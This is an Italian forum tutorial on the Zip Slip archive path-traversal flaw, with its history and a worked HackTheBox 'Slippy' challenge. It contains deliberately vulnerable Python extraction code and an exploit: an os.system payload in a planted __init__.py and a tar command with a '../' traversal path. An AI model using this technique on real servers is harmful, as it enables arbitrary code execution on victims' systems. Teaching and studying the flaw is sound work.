Videoguida Zip Slip, quando un archivio diventa un exploit

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,767
1,825
Ultima modifica:
In questo articolo vedremo come un "normale" file d'archiviazione (come .zip o .tar) possa trasformarsi in un pericoloso exploit nel caso in cui l'applicazione che lo elabori non implementi le giuste precauzioni.​
cdn-thumbnail1-png.62024

Zip Slip, quando un archivio diventa un exploit​








1    Introduzione e storia della vulnerabilità

1.1    Descrizione ad alto livello

Zip Slip è il nome "mainstream" assegnato a tutta una serie di vulnerabilità sfruttabili tramite l'utilizzo di file d'archiviazione, come per esempio i file .zip o il file .tar . Questo archetipo di vulnerabilità impatta tutte le applicazioni e tutti i programmi che lavorano in maniera non sicura con file di archivio, dando per scontato che i file contenuti all'interno non contengano caratteri malevoli, e dunque non controllandoli propriamente.

Ogni file di archivio utilizza implementazioni e algoritmi differenti, ma ognuno di loro è accomunato dallo stesso scopo: creare un unico file che contenga tanti altri file. Il "problema" è che ogni utente può inserire all'interno di questi archivi qualunque tipologia di file, salvata con un qualunque nome. Le applicazioni che lavorano con questi archivi devono tenere a mente che non bisogna mai fidarsi dell'input dell'utente, che sia esso una stringa in un form o un file all'interno di un archivio, ma bisogna sempre controllare che sia in linea con la logica del programma.
Le vulnerabilità Zip Slip sfruttano invece proprio questa mancanza, facendo leva sull'eccessiva fiducia assegnata all'input dell'utente e riuscendo quindi a scrivere file malevoli al di fuori delle cartelle previste per quell'archivio, sfruttando quella che viene chiamata una vulnerabilità di Path Traversal.

Zip Slip non è quindi altro che una vulnerabilità Path Traversal avente origine dai file contenuti all'interno di un archivio malevolo che non vengono propriamente controllati dall'applicazione, venendo dunque scompattati in cartelle arbitrarie tramite l'ausilio di apposite librerie (come per esempio zipfile e tarfile).​

1.2    Storico del "bug"

Storicamente le vulnerabilità Zip Slip esistono da tantissimo tempo, da ancora prima che venissero chiamate così. Una prima apparizione risale al 1991, quando nell'articolo "The Complete Guide to Hacking WWIV" (Phrack, Volume Three, Issue Thirty-four, File #5 of 11) venne adottata una tecnica molto simile per scrivere un file arbitrario al di fuori del path dedicato a quel file.​

Di seguito l'estratto dell'articolo:
Codice:
***
*** Technique #3: The -D Archive Hack
***

     This technique also plays on the openness of WWIV's archive system.  This
is another method of getting a file into the root BBS directory, or anywhere on
the hard drive, for that matter.

     First, create a temporary directory on your hard drive.  It doesn't matter
what it's called.  We'll call it TEMP.  Then, make a sub-directory of TEMP
called AA. It can actually be called any two-character combination, but we'll
keep it nice and simple.  Then make a subdirectory of AA called WWIV.

     Place NETWORK.COM or REMOTE.COM or whatever in the directory
\TEMP\AA\WWIV.  Then from the TEMP directory execute the command:

PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.

     This will create a zip file of all the contents of the directories, but
with all of the directory names recursed and stored.  So if you do a PKZIP -V
to list the files you should see AA\WWIV\REMOTE.COM, etc.

     Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
for "AA".  When you find it (it should occur twice), change it to "C:".  It is
probably a good idea to do this twice, once with the subdirectory called WWIV,
and another with it called BBS, since those are the two most common main BBS
directory names for WWIV.  You may even want to try D: or E: in addition to C:.
You could even work backwards, by forgetting the WWIV subdirectory, and just
making it AA\REMOTE.COM, and changing the "AA" to "..".  This would be
foolproof.  You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.

     Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
type "E" to extract it to a temporary directory.  It'll ask you what file.
Type "STUFF.ZIP".  It'll ask what you want to extract.  Type """-D".  It'll
then execute:

PKUNZIP STUFF.ZIP ""-D

     It will unzip everything into the proper directory.  Voila.  The quotation
marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
for the hyphen.  This method can only be defeated by modifying the source code,
or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
lose your archive section.

La "scoperta ufficiale" risale però al 5 Giugno 2018, quando Snyk Security divulgò pubblicamente la tecnica (assegnandole il nome attuale), ottenendo diverse CVE per le numerose falle identificate in molteplici prodotti (tra cui HP, Amazon, Apache e altri).

Di seguito l'articolo ufficiale:

1.3    Dettagli tecnici

Come detto sopra, la vulnerabilità è strettamente collegata ad un' altra tipologia di vulnerabilità: le Path Traversal. Siccome ogni archivio può contenere qualunque tipologia di file avente qualunque nome, è possibile inserire all'interno di un archivio malevolo un file il cui nome contiene un path relativo o un path assoluto, come ad esempio ../../../../../../../../var/www/evil.php.
Se l'applicazione in questione scompatta l'archivio all'interno della cartella /tmp senza però verificare o sanificare in alcun modo i nomi dei file contenuti al suo interno, ciò può causare la scrittura al di fuori della cartella specificata (privilegi permettendo), andando dunque a salvare il file in /tmp/../../../../../../../../var/www/evil.php, cioè /var/www/evil.php

La descrizione della vulnerabilità fornita da Snyk Security spiega esattamente la stessa cosa:​
Zip Slip is a form of directory traversal that can be exploited by extracting files from an archive. The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers.​

Zip Slip dunque impatta tutte le applicazioni che scompattano in maniera insicura un file d'archiviazione, tra cui i formati zip, rar, tar, jar, war, apk, 7z e molti altri.

Ma cosa rende questa vulnerabilità una problematica critica?
In base al tipo di applicazione, ai privilegi con cui gira e alle cartelle interne, è possibile sfruttare Zip Slip per andare a scrivere dei file arbitrari all'interno del server, e di conseguenza piazzare delle potenziali backdoor o pagine malevole (come nei casi di web server in PHP), sovrascrivere file di configurazione, alterare la logica del software ed eseguire codice remoto.​

2    Esempio pratico

Vediamo di seguito un esempio pratico, estratto dalla challenge "Slippy" di HackTheBox. L'applicazione è sostanzialmente un portale su cui è possibile caricare un file con estensione tar.gz che verrà successivamente elaborato dal web server.
cdn-1650806177818-png.62038

2.1    Codice vulnerabile

Python:
import functools, tarfile, tempfile, os
from application import main

generate = lambda x: os.urandom(x).hex()

def extract_from_archive(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
        os.makedirs(extractdir, exist_ok=True)

        extracted_filenames = []

        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                filename = f'{extractdir}/{name}'
                os.rename(os.path.join(tmp, name), filename)
                extracted_filenames.append(filename)
                continue
 
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)

        tar.close()
        return extracted_filenames

    return False

2.2    La vulnerabilità

Analizzando il sorgente di util.py è possibile notare come venga eseguita l'istruzione tar.extractall(tmp) senza controllare in alcun modo se i file contenuti all'interno dell'archivio fornito dall'utente contengano dei caratteri speciali. L'applicazione assume che i file verranno salvati all'interno di una cartella generata con l'istruzione tmp = tempfile.gettempdir(), ma non esegue alcun controllo specifico.

All'interno della documentazione ufficiale di python, viene espressamente detto:​
Warning
Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".

Siccome non ci sono controlli, è possibile inserire all'interno dell'archivio un file contenente un relative path che verrà quindi salvato all'interno di una cartella arbitraria.
cdn-1650806274349-png.62039

2.3    Exploit

Visto che l'applicazione è scritta in python e che la directory application è utilizzata come se fosse un package (from application import main), è possibile iniettare all'interno della directory uno specifico file d'inizializzazione, chiamato __init__.py , che eseguirà del codice arbitrario ogni volta che un file all'interno del package viene importato.

Se all'interno del nostro __init__.py inseriamo il seguente payload
Python:
import os
os.system('cp /app/flag* /app/application/static/archives/flag.txt')

e poi creiamo un file d'archiviazione contenente questo file, associato però ad un percorso relativo che lo vada a scrivere all'interno della cartella application

Bash:
tar -czvf exploit.tar.gz --absolute-names '../../../../../../../../../app/application/__init__.py'

possiamo iniettare questo file di inizializzazione che eseguirà del codice a nostra scelta ogni volta che viene importato un file da scompattare (il file main viene importato dentro util.py ogni volta che viene caricato un file da scompattare).​

cdn-1650806330951-png.62040

In questo modo, utilizzando un semplice archivio, abbiamo iniettato all'interno del server tramite la vulnerabilità Zip Slip un file contenente del codice arbitrario e siamo quindi in grado di fargli fare ciò che vogliamo!
cdn-1650806355437-png.62041

3    Video dimostrativo



Vedi: https://www.youtube.com/watch?v=8eXutSxYhOQ

4    Conclusioni

Come abbiamo potuto constatare, Zip Slip è una vulnerabilità che esiste praticamente da sempre e molto probabilmente esisterà per sempre. Come accade nel 99% delle volte, i bug nascono dall'errore umano, a seguito di dimenticanze o false supposizioni. Zip Slip non è nient'altro che questo, lo sfruttamento di una vulnerabilità Path Traversal per salvare dei file arbitrari all'interno di cartelle inaspettate, facendo leva sulla mancanza di controlli da parte dei programmatori.

Conoscevate già questa vulnerabilità? L'avete mai incontrata durante le vostre attività?
La prossima volta che incontrerete una funzionalità simile sono sicuro che vi ricorderete che anche i nomi dei file contenuti all'interno di un archivio possono diventare un vettore di attacco!​


Made with ❤ for Inforge